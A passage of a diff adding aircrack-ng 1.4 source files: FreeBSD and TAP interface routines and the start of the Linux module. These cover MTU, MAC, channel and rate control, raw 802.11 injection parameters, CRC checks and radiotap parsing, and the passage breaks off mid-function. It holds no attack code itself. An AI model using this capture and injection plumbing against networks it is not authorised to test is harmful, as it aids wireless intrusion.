+	strncpy(ifr->ifr_name, wi_get_ifname(wi), sizeof(ifr->ifr_name));
+	ifr->ifr_mtu = mtu;
+
+	if (ioctl(priv->pf_s, SIOCSIFMTU, ifr) < 0) return -1;
+
+	return 0;
+}
+
+static int fbsd_get_mtu(struct wif * wi)
+{
+	struct priv_fbsd * priv = wi_priv(wi);
+	struct ifreq ifr;
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+
+	ifr.ifr_addr.sa_family = AF_INET;
+
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name));
+
+	if (ioctl(priv->pf_s, SIOCGIFMTU, (caddr_t) &ifr) < 0) return -1;
+
+	return ifr.ifr_mtu;
+}
+
+static struct wif * fbsd_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_fbsd * pf;
+	int fd;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pf));
+	if (!wi) return NULL;
+	wi->wi_read = fbsd_read;
+	wi->wi_write = fbsd_write;
+	wi->wi_set_channel = fbsd_set_channel;
+	wi->wi_get_channel = fbsd_get_channel;
+	wi->wi_close = fbsd_close;
+	wi->wi_fd = fbsd_fd;
+	wi->wi_get_mac = fbsd_get_mac;
+	wi->wi_set_mac = fbsd_set_mac;
+	wi->wi_get_rate = fbsd_get_rate;
+	wi->wi_set_rate = fbsd_set_rate;
+	wi->wi_get_monitor = fbsd_get_monitor;
+	wi->wi_get_mtu = fbsd_get_mtu;
+	wi->wi_set_mtu = fbsd_set_mtu;
+
+	/* setup iface */
+	fd = do_fbsd_open(wi, iface);
+	if (fd == -1)
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	pf = wi_priv(wi);
+	pf->pf_fd = fd;
+	pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION;
+	pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6;
+	pf->pf_txparams.ibp_rate0 = 2; /* 1 MB/s XXX */
+	pf->pf_txparams.ibp_try0 = 1; /* no retransmits */
+	pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */
+	pf->pf_txparams.ibp_try1 = 1; /* no retransmits */
+	pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK;
+	pf->pf_txparams.ibp_power = 100; /* nominal max */
+	pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return fbsd_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+#if defined(__FreeBSD__) || defined(__FreeBSD_kernel__)
+	int value;
+	size_t len;
+
+	len = 4;
+	value = 0;
+	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
+	if (value == 0)
+	{
+		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
+		value = value * 60;
+	}
+	else
+	{
+		value = 0;
+	}
+
+	return (value);
+#elif defined(_BSD_SOURCE)
+	struct apm_power_info api;
+	int apmfd;
+	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
+	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
+	{
+		close(apmfd);
+		return 0;
+	}
+	close(apmfd);
+	if (api.battery_state == APM_BATT_UNKNOWN
+		|| api.battery_state == APM_BATTERY_ABSENT
+		|| api.battery_state == APM_BATT_CHARGING
+		|| api.ac_state == APM_AC_ON)
+	{
+		return 0;
+	}
+	return ((int) (api.minutes_left)) * 60;
+#else
+	return 0;
+#endif
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/freebsd_tap.c Added

@@ -0,0 +1,218 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for FreeBSD. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "osdep.h"
+
+struct tip_fbsd
+{
+	int tf_fd;
+	int tf_ioctls;
+	struct ifreq tf_ifr;
+	char tf_name[MAX_IFACE_NAME];
+	int tf_destroy;
+};
+
+static int ti_do_open_fbsd(struct tif * ti, char * name)
+{
+	int fd;
+	char * iface = "/dev/tap";
+	struct stat st;
+	struct tip_fbsd * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+
+	/* open tap */
+	if (name)
+		iface = name;
+	else
+		priv->tf_destroy = 1; /* we create, we destroy */
+
+	fd = open(iface, O_RDWR);
+	if (fd == -1) return -1;
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->tf_name,
+			 sizeof(priv->tf_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->tf_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->tf_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tf_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16);
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+	ifr->ifr_flagshigh = flags >> 16;
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_fbsd * priv)
+{
+	ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
+}
+
+static void ti_close_fbsd(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	if (priv->tf_destroy) ti_destroy(priv);
+
+	close(priv->tf_fd);
+	close(priv->tf_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_fbsd(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	return priv->tf_name;
+}
+
+static int ti_set_mtu_fbsd(struct tif * ti, int mtu)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	priv->tf_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
+}
+
+static int ti_set_mac_fbsd(struct tif * ti, unsigned char * mac)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->tf_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
+}
+
+static int ti_set_ip_fbsd(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_fbsd(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	return priv->tf_fd;
+}
+
+static int ti_read_fbsd(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_fbsd(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_fbsd(char * iface)
+{
+	struct tif * ti;
+	struct tip_fbsd * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_fbsd;
+	ti->ti_set_mtu = ti_set_mtu_fbsd;
+	ti->ti_close = ti_close_fbsd;
+	ti->ti_fd = ti_fd_fbsd;
+	ti->ti_read = ti_read_fbsd;
+	ti->ti_write = ti_write_fbsd;
+	ti->ti_set_mac = ti_set_mac_fbsd;
+	ti->ti_set_ip = ti_set_ip_fbsd;
+
+	/* setup iface */
+	fd = ti_do_open_fbsd(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tf_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_fbsd(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/linux.c Added

@@ -0,0 +1,2618 @@
+/*
+ *  OS dependent APIs for Linux
+ *
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005 Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <sys/stat.h>
+#include <netpacket/packet.h>
+#include <linux/if_ether.h>
+#include <linux/if.h>
+#include <linux/wireless.h>
+#include <netinet/in.h>
+#include <linux/if_tun.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/utsname.h>
+#include <net/if_arp.h>
+#include <limits.h>
+
+#ifdef CONFIG_LIBNL
+#include <linux/nl80211.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/family.h>
+#include <netlink/genl/ctrl.h>
+#include <netlink/msg.h>
+#include <netlink/attr.h>
+#include <linux/genetlink.h>
+#endif // CONFIG_LIBNL
+
+#include "radiotap/radiotap.h"
+#include "radiotap/radiotap_iter.h"
+/* radiotap-parser defines types like u8 that
+		 * ieee80211_radiotap.h needs
+		 *
+		 * we use our local copy of ieee80211_radiotap.h
+		 *
+		 * - since we can't support extensions we don't understand
+		 * - since linux does not include it in userspace headers
+		 */
+#include "osdep.h"
+#include "pcap.h"
+#include "crctable_osdep.h"
+#include "common.h"
+#include "byteorder.h"
+#include "channel.h"
+
+#ifdef CONFIG_LIBNL
+struct nl80211_state state;
+static int chan;
+#endif // CONFIG_LIBNL
+
+/* if_nametoindex is defined in net/if.h but that conflicts with linux/if.h */
+extern unsigned int if_nametoindex(const char * __ifname);
+extern char * if_indextoname(unsigned int __ifindex, char * __ifname);
+
+typedef enum {
+	DT_NULL = 0,
+	DT_WLANNG,
+	DT_HOSTAP,
+	DT_MADWIFI,
+	DT_MADWIFING,
+	DT_BCM43XX,
+	DT_ORINOCO,
+	DT_ZD1211RW,
+	DT_ACX,
+	DT_MAC80211_RT,
+	DT_AT76USB,
+	DT_IPW2200
+
+} DRIVER_TYPE;
+
+/*
+ * XXX need to have a different read/write/open function for each Linux driver.
+ */
+
+struct priv_linux
+{
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_main;
+	int fd_rtc;
+
+	DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */
+
+	FILE * f_cap_in;
+
+	struct pcap_file_header pfh_in;
+
+	int sysfs_inject;
+	int channel;
+	int freq;
+	int rate;
+	int tx_power;
+	char * wlanctlng; /* XXX never set */
+	char * iwpriv;
+	char * iwconfig;
+	char * ifconfig;
+	char * wl;
+	char * main_if;
+	unsigned char pl_mac[6];
+	int inject_wlanng;
+};
+
+#ifndef ETH_P_80211_RAW
+#define ETH_P_80211_RAW 25
+#endif
+
+#define ARPHRD_ETHERNET 1
+#define ARPHRD_IEEE80211 801
+#define ARPHRD_IEEE80211_PRISM 802
+#define ARPHRD_IEEE80211_FULL 803
+
+#ifndef NULL_MAC
+#define NULL_MAC "\x00\x00\x00\x00\x00\x00"
+#endif
+
+unsigned long calc_crc_osdep(unsigned char * buf, int len)
+{
+	unsigned long crc = 0xFFFFFFFF;
+
+	for (; len > 0; len--, buf++)
+		crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
+
+	return (~crc);
+}
+
+/* CRC checksum verification routine */
+
+int check_crc_buf_osdep(unsigned char * buf, int len)
+{
+	unsigned long crc;
+
+	if (len < 0) return 0;
+
+	crc = calc_crc_osdep(buf, len);
+	buf += len;
+	return (((crc) &0xFF) == buf[0] && ((crc >> 8) & 0xFF) == buf[1]
+			&& ((crc >> 16) & 0xFF) == buf[2]
+			&& ((crc >> 24) & 0xFF) == buf[3]);
+}
+
+// Check if the driver is ndiswrapper */
+static int is_ndiswrapper(const char * iface, const char * path)
+{
+	int n, pid, unused;
+	if (!path || !iface || strlen(iface) >= IFNAMSIZ)
+	{
+		return 0;
+	}
+	if ((pid = fork()) == 0)
+	{
+		close(0);
+		close(1);
+		close(2);
+		unused = chdir("/");
+		execl(path, "iwpriv", iface, "ndis_reset", NULL);
+		exit(1);
+	}
+
+	waitpid(pid, &n, 0);
+	return ((WIFEXITED(n) && WEXITSTATUS(n) == 0));
+}
+
+/* Search a file recursively */
+static char * searchInside(const char * dir, const char * filename)
+{
+	char * ret;
+	char * curfile;
+	struct stat sb;
+	int len, lentot;
+	DIR * dp;
+	struct dirent * ep;
+
+	dp = opendir(dir);
+	if (dp == NULL)
+	{
+		return NULL;
+	}
+
+	len = strlen(filename);
+	lentot = strlen(dir) + 256 + 2;
+	curfile = (char *) calloc(1, lentot);
+
+	while ((ep = readdir(dp)) != NULL)
+	{
+
+		memset(curfile, 0, lentot);
+		sprintf(curfile, "%s/%s", dir, ep->d_name);
+
+		// Checking if it's the good file
+		if ((int) strlen(ep->d_name) == len && !strcmp(ep->d_name, filename))
+		{
+			(void) closedir(dp);
+			return curfile;
+		}
+
+		// If it's a directory and not a link, try to go inside to search
+		if (lstat(curfile, &sb) == 0 && S_ISDIR(sb.st_mode)
+			&& !S_ISLNK(sb.st_mode))
+		{
+			// Check if the directory isn't "." or ".."
+			if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name))
+			{
+				// Recursive call
+				ret = searchInside(curfile, filename);
+				if (ret != NULL)
+				{
+					(void) closedir(dp);
+					free(curfile);
+					return ret;
+				}
+			}
+		}
+	}
+	(void) closedir(dp);
+	free(curfile);
+	return NULL;
+}
+
+/* Search a wireless tool and return its path */
+static char * wiToolsPath(const char * tool)
+{
+	char * path /*, *found, *env */;
+	int i, nbelems;
+	static const char * paths[] = {"/sbin",
+								   "/usr/sbin",
+								   "/usr/local/sbin",
+								   "/bin",
+								   "/usr/bin",
+								   "/usr/local/bin",
+								   "/tmp"};
+
+	// Also search in other known location just in case we haven't found it yet
+	nbelems = sizeof(paths) / sizeof(char *);
+	for (i = 0; i < nbelems; i++)
+	{
+		path = searchInside(paths[i], tool);
+		if (path != NULL) return path;
+	}
+
+	return NULL;
+}
+
+/* nl80211 */
+#ifdef CONFIG_LIBNL
+struct nl80211_state
+{
+#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
+	struct nl_handle * nl_sock;
+#else
+	struct nl_sock * nl_sock;
+#endif
+	struct nl_cache * nl_cache;
+	struct genl_family * nl80211;
+};
+
+#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
+static inline struct nl_handle * nl_socket_alloc(void)
+{
+	return nl_handle_alloc();
+}
+
+static inline void nl_socket_free(struct nl_handle * h)
+{
+	nl_handle_destroy(h);
+}
+
+static inline int __genl_ctrl_alloc_cache(struct nl_handle * h,
+										  struct nl_cache ** cache)
+{
+	struct nl_cache * tmp = genl_ctrl_alloc_cache(h);
+	if (!tmp) return -ENOMEM;
+	*cache = tmp;
+	return 0;
+}
+#define genl_ctrl_alloc_cache __genl_ctrl_alloc_cache
+#endif
+
+static int linux_nl80211_init(struct nl80211_state * state)
+{
+	int err;
+
+	state->nl_sock = nl_socket_alloc();
+
+	if (!state->nl_sock)
+	{
+		fprintf(stderr, "Failed to allocate netlink socket.\n");
+		return -ENOMEM;
+	}
+
+	if (genl_connect(state->nl_sock))
+	{
+		fprintf(stderr, "Failed to connect to generic netlink.\n");
+		err = -ENOLINK;
+		goto out_handle_destroy;
+	}
+
+	if (genl_ctrl_alloc_cache(state->nl_sock, &state->nl_cache))
+	{
+		fprintf(stderr, "Failed to allocate generic netlink cache.\n");
+		err = -ENOMEM;
+		goto out_handle_destroy;
+	}
+
+	state->nl80211 = genl_ctrl_search_by_name(state->nl_cache, "nl80211");
+	if (!state->nl80211)
+	{
+		fprintf(stderr, "nl80211 not found.\n");
+		err = -ENOENT;
+		goto out_cache_free;
+	}
+
+	return 0;
+
+out_cache_free:
+	nl_cache_free(state->nl_cache);
+out_handle_destroy:
+	nl_socket_free(state->nl_sock);
+	return err;
+}
+
+static void nl80211_cleanup(struct nl80211_state * state)
+{
+	genl_family_put(state->nl80211);
+	nl_cache_free(state->nl_cache);
+	nl_socket_free(state->nl_sock);
+}
+
+/* Callbacks */
+
+/*
+static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err,
+					 void *arg)
+{
+	if (nla) { }
+	printf("\n\n\nERROR");
+	int *ret = arg;
+	*ret = err->error;
+	return NL_STOP;
+}
+*/
+
+/*
+static void test_callback(struct nl_msg *msg, void *arg)
+{
+	if (msg || arg) { }
+}
+*/
+#endif /* End nl80211 */
+
+static int linux_get_channel(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct iwreq wrq;
+	int fd, frequency;
+	int chan = 0;
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	fd = dev->fd_in;
+	if (dev->drivertype == DT_IPW2200) fd = dev->fd_main;
+
+	if (ioctl(fd, SIOCGIWFREQ, &wrq) < 0) return (-1);
+
+	frequency = wrq.u.freq.m;
+	if (frequency > 100000000)
+		frequency /= 100000;
+	else if (frequency > 1000000)
+		frequency /= 1000;
+
+	if (frequency > 1000)
+		chan = getChannelFromFrequency(frequency);
+	else
+		chan = frequency;
+
+	return chan;
+}
+
+static int linux_get_freq(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct iwreq wrq;
+	int fd, frequency;
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	fd = dev->fd_in;
+	if (dev->drivertype == DT_IPW2200) fd = dev->fd_main;
+
+	if (ioctl(fd, SIOCGIWFREQ, &wrq) < 0) return (-1);
+
+	frequency = wrq.u.freq.m;
+	if (frequency > 100000000)
+		frequency /= 100000;
+	else if (frequency > 1000000)
+		frequency /= 1000;
+
+	if (frequency < 500) // it's not a freq, but the actual channel
+		frequency = getFrequencyFromChannel(frequency);
+
+	return frequency;
+}
+
+static int linux_set_rate(struct wif * wi, int rate)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+	struct iwreq wrq;
+	char s[32];
+	int pid, status, unused;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_MADWIFING:
+			memset(&ifr, 0, sizeof(ifr));
+			strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+			if (ioctl(dev->fd_in, SIOCGIFINDEX, &ifr) < 0)
+			{
+				printf("Interface %s: \n", wi_get_ifname(wi));
+				perror("ioctl(SIOCGIFINDEX) failed");
+				return (1);
+			}
+
+			/* Bring interface down*/
+			ifr.ifr_flags = 0;
+
+			if (ioctl(dev->fd_in, SIOCSIFFLAGS, &ifr) < 0)
+			{
+				perror("ioctl(SIOCSIFFLAGS) failed");
+				return (1);
+			}
+
+			usleep(100000);
+
+			snprintf(s, sizeof(s) - 1, "%.1fM", (rate / 1000000.0));
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				unused = chdir("/");
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "rate",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+
+			return 0;
+			break;
+
+		case DT_MAC80211_RT:
+
+			dev->rate = (rate / 500000);
+			// return 0;
+			// Newer mac80211 stacks (2.6.31 and up)
+			// don't care about Radiotap header anymore, so ioctl below must
+			// also be done!
+			//[see Documentation/networking/mac80211-injection.txt]
+			break;
+
+		default:
+			break;
+	}
+
+	/* ELSE */
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	wrq.u.bitrate.value = rate;
+	wrq.u.bitrate.fixed = 1;
+
+	if (ioctl(dev->fd_in, SIOCSIWRATE, &wrq) < 0)
+	{
+		return (-1);
+	}
+
+	return 0;
+}
+
+static int linux_get_rate(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct iwreq wrq;
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+
+	if (dev->drivertype == DT_MAC80211_RT) return (dev->rate * 500000);
+
+	if (dev->main_if)
+		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
+	else
+		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	if (ioctl(dev->fd_in, SIOCGIWRATE, &wrq) < 0)
+	{
+		return (-1);
+	}
+
+	return wrq.u.bitrate.value;
+}
+
+static int linux_set_mtu(struct wif * wi, int mtu)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+
+	if (dev->main_if)
+		strncpy(ifr.ifr_name, dev->main_if, sizeof(ifr.ifr_name) - 1);
+	else
+		strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	ifr.ifr_mtu = mtu;
+	if (ioctl(dev->fd_in, SIOCSIFMTU, &ifr) < 0)
+	{
+		return (-1);
+	}
+
+	return 0;
+}
+
+static int linux_get_mtu(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+
+	if (dev->main_if)
+		strncpy(ifr.ifr_name, dev->main_if, sizeof(ifr.ifr_name) - 1);
+	else
+		strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(dev->fd_in, SIOCGIFMTU, &ifr) < 0)
+	{
+		return (-1);
+	}
+
+	return ifr.ifr_mtu;
+}
+
+static int
+linux_read(struct wif * wi, unsigned char * buf, int count, struct rx_info * ri)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	unsigned char tmpbuf[4096];
+
+	int caplen, n, got_signal, got_noise, got_channel, fcs_removed;
+
+	caplen = n = got_signal = got_noise = got_channel = fcs_removed = 0;
+
+	if ((unsigned) count > sizeof(tmpbuf)) return (-1);
+
+	if ((caplen = read(dev->fd_in, tmpbuf, count)) < 0)
+	{
+		if (errno == EAGAIN) return (0);
+
+		perror("read failed");
+		return (-1);
+	}
+
+	switch (dev->drivertype)
+	{
+		case DT_MADWIFI:
+			caplen -= 4; /* remove the FCS for madwifi-old! only (not -ng)*/
+			break;
+		default:
+			break;
+	}
+
+	memset(buf, 0, count);
+
+	/* XXX */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	if (dev->arptype_in == ARPHRD_IEEE80211_PRISM)
+	{
+		/* skip the prism header */
+		if (tmpbuf[7] == 0x40)
+		{
+			/* prism54 uses a different format */
+			if (ri)
+			{
+				ri->ri_power = tmpbuf[0x33];
+				ri->ri_noise = *(unsigned int *) (tmpbuf + 0x33 + 12);
+				ri->ri_rate = (*(unsigned int *) (tmpbuf + 0x33 + 24)) * 500000;
+
+				got_signal = 1;
+				got_noise = 1;
+			}
+
+			n = 0x40;
+		}
+		else
+		{
+			if (ri)
+			{
+				ri->ri_mactime = *(u_int64_t *) (tmpbuf + 0x5C - 48);
+				ri->ri_channel = *(unsigned int *) (tmpbuf + 0x5C - 36);
+				ri->ri_power = *(unsigned int *) (tmpbuf + 0x5C);
+				ri->ri_noise = *(unsigned int *) (tmpbuf + 0x5C + 12);
+				ri->ri_rate = (*(unsigned int *) (tmpbuf + 0x5C + 24)) * 500000;
+
+				//                if( ! memcmp( iface[i], "ath", 3 ) )
+				if (dev->drivertype == DT_MADWIFI)
+					ri->ri_power -= *(int *) (tmpbuf + 0x68);
+				if (dev->drivertype == DT_MADWIFING)
+					ri->ri_power -= *(int *) (tmpbuf + 0x68);
+
+				got_channel = 1;
+				got_signal = 1;
+				got_noise = 1;
+			}
+
+			n = *(int *) (tmpbuf + 4);
+		}
+
+		if (n < 8 || n >= caplen) return (0);
+	}
+
+	if (dev->arptype_in == ARPHRD_IEEE80211_FULL)
+	{
+		struct ieee80211_radiotap_iterator iterator;
+		struct ieee80211_radiotap_header * rthdr;
+
+		rthdr = (struct ieee80211_radiotap_header *) tmpbuf;
+
+		if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL)
+			< 0)
+			return (0);
+
+		/* go through the radiotap arguments we have been given
+		 * by the driver
+		 */
+
+		while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0))
+		{
+
+			switch (iterator.this_arg_index)
+			{
+
+				case IEEE80211_RADIOTAP_TSFT:
+					ri->ri_mactime
+						= le64_to_cpu(*((uint64_t *) iterator.this_arg));
+					break;
+
+				case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+					if (!got_signal)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_power = *iterator.this_arg;
+						else
+							ri->ri_power = *iterator.this_arg - 255;
+
+						got_signal = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+					if (!got_signal)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_power = *iterator.this_arg;
+						else
+							ri->ri_power = *iterator.this_arg - 255;
+
+						got_signal = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+					if (!got_noise)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_noise = *iterator.this_arg;
+						else
+							ri->ri_noise = *iterator.this_arg - 255;
+
+						got_noise = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_DB_ANTNOISE:
+					if (!got_noise)
+					{
+						if (*iterator.this_arg < 127)
+							ri->ri_noise = *iterator.this_arg;
+						else
+							ri->ri_noise = *iterator.this_arg - 255;
+
+						got_noise = 1;
+					}
+					break;
+
+				case IEEE80211_RADIOTAP_ANTENNA:
+					ri->ri_antenna = *iterator.this_arg;
+					break;
+
+				case IEEE80211_RADIOTAP_CHANNEL:
+					ri->ri_channel = getChannelFromFrequency(
+						le16toh(*(uint16_t *) iterator.this_arg));
+					got_channel = 1;
+					break;
+
+				case IEEE80211_RADIOTAP_RATE:
+					ri->ri_rate = (*iterator.this_arg) * 500000;
+					break;
+
+				case IEEE80211_RADIOTAP_FLAGS:
+					/* is the CRC visible at the end?
+				 * remove
+				 */
+					if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FCS)
+					{
+						fcs_removed = 1;
+						caplen -= 4;
+					}
+
+					if (*iterator.this_arg & IEEE80211_RADIOTAP_F_BADFCS)
+						return (0);
+
+					break;
+			}
+		}
+
+		n = le16_to_cpu(rthdr->it_len);
+
+		if (n <= 0 || n >= caplen) return (0);
+	}
+
+	caplen -= n;
+
+	// detect fcs at the end, even if the flag wasn't set and remove it
+	if (fcs_removed == 0 && check_crc_buf_osdep(tmpbuf + n, caplen - 4) == 1)
+	{
+		caplen -= 4;
+	}
+
+	memcpy(buf, tmpbuf + n, caplen);
+
